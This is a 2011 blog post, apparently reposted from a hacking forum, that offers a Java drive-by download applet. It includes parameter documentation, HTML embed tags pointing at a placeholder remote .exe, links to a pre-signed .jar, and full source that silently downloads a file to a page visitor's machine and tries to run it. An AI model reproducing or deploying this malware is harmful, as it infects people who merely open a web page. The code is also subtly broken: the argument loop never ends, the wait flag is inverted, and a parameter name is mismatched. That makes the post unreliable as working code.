21 September, 2011

[FULLY-WORKING] Java Drive-By

I originally wrote up this one-size-fits-all Java Driveby for you guys since there was a large response to that basic one posted earlier. It includes many useful arguments that can make it adapt to pertty much any situation. This one has been updated upon request from the previous version to fix some bugs and include new features. If it's missing something you need just post here and I'll include it. When debugging is enabled, it prints almost every step of the process.

Parameters: (These were organized with tabs but the forum killed them..)

Code:
    KEY        TYPE        DEFAULT        DESCRIPTION
-    debug        boolean    false        if the program should print debugging information
-    remfile        string        null        remote url of the file to download
-    locfile            string        temp        where to store the file (blank is temporary files)
-    buffsize        int        8192        download/write buffer size
-    workdir        string        current    the directory (environment) in which the file will execute
-    waitfor        boolean    true        wait on the program to finish and print result value

Arguments:
To supply an argument to your program, you must enter parameters as follows:
Code:
<param name="arg1" value="the argument">
<param name="arg2" value="the argument">
<param name="arg3" value="the argument">

You may supply as many arguments as you wish, but their respective numbers must be sequential. The program stops parsing arguments when a null argument is reached.

Heres the full applet code: (You will need to adjust the parameters to your needs)

Code:
<applet archive=JavaDriveBy.jar code=jdriveby.JDriveBy>
<param name="debug" value="true">
<param name="remfile" value="http://yoursite.com/yourprogram.exe">
<param name="locfile" value="C:/myfile.exe">
<param name="buffsize" value="8192">
<param name="workdir" value="c:/minecraft/userdata">
<param name="waitfor" value="true">
</applet>

Heres a more basic one:
Code:
<applet archive=JavaDriveBy.jar code=jdriveby.JDriveBy>
<param name="remfile" value="http://yoursite.com/yourprogram.exe">
</applet>

Pre-signed ready to go .jar: (ADF-LY)
Uppit: http://adf.ly/2iM5D
Mediafire: http://adf.ly/2iM8O
Megaupload: http://adf.ly/2iMAU

Source code:

Code:
package jdriveby;

import java.applet.Applet;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.util.LinkedList;
import java.util.List;

/**
* @author Colby
*/
public class JDriveBy extends Applet {

    private boolean debug;

    @Override
    public void init() {
  logln("init");
  debug = Boolean.parseBoolean(getParameter("debug"));
  logln("debug? " + debug);
    }

    @Override
    public void start() {
  logln("start");
  try {
    URL fileURL = new URL(getParameter("remfile"));
    logln("remfile \"" + fileURL.toString() + "\"");

    String locFilePath = getParameter("locfile");
    File locFile;
    if (locFilePath != null) {
    locFile = new File(locFilePath);

    } else {
    String file = fileURL.getFile();
    String fileName = file.substring(file.lastIndexOf('/') + 1, file.lastIndexOf('.'));
    String fileExt = file.substring(file.lastIndexOf('.') + 1);
    locFile = File.createTempFile(fileName, fileExt);
    }

    log("locfile \"" + locFile.getAbsolutePath() + "\" ");
    logln("R: " + locFile.canRead() + " W: " + locFile.canWrite() + " E: " + locFile.canExecute());

    File locDir = new File(
    locFile.getAbsolutePath().substring(0, locFile.getAbsolutePath().lastIndexOf(System.getProperty("file.separator"))));
    log("locdir \"" + locDir.getAbsolutePath() + "\" ");
    logln("mkdirs? " + locDir.mkdirs());

    InputStream in = null;
    try {
    in = fileURL.openStream();
    OutputStream out = null;
    try {
    out = new FileOutputStream(locFile);

    int bufSize = 8192;
    String sizeParam = getParameter("bufsize");
    if (sizeParam != null) {
    bufSize = Integer.parseInt(sizeParam);
    }
    logln("bufsize: " + bufSize);

    byte[] buf = new byte[bufSize];
    for (int len = 0; len != -1; len = in.read(buf)) {
    out.write(buf, 0, len);
    }
    out.flush();

    } finally {
    if (out != null) {
    out.close();
    }
    }

    } finally {
    if (in != null) {
    in.close();
    }
    }

    String arg;
    List<String> args = new LinkedList<String>();
    for (int i = 0; (arg = getParameter("arg") + i) != null; i++) {
    args.add(arg);
    }

    ProcessBuilder pb = new ProcessBuilder(args);

    String workDirPath = getParameter("workdir");
    File workDir = new File(workDirPath);
    if (workDir != null) {
    pb.directory(workDir);
    }
    logln("workdir \"" + workDir.getAbsolutePath() + "\"");

    Process p = pb.start();

    String waitFor = getParameter("waitfor");
    if (waitFor == null || !Boolean.parseBoolean(waitFor)) {
    logln("exit val: " + p.waitFor());
    }

  } catch (Throwable t) {
    report(t);
  }
    }

    private void logln(String s) {
  log(s + System.getProperty("line.separator"));
    }

    private void log(String s) {
  if (debug) {
    System.out.print(s);
  }
    }

    private void report(Throwable t) {
  if (debug) {
    t.printStackTrace();
  }
    }
}



Labels:

1 Comments:

At April 16, 2012 at 11:59 PM , Blogger Labo said...

Don't work for me !!!! There are a solution ??? because he launch no program !

 

Post a Comment

Subscribe to Post Comments [Atom]

<< Home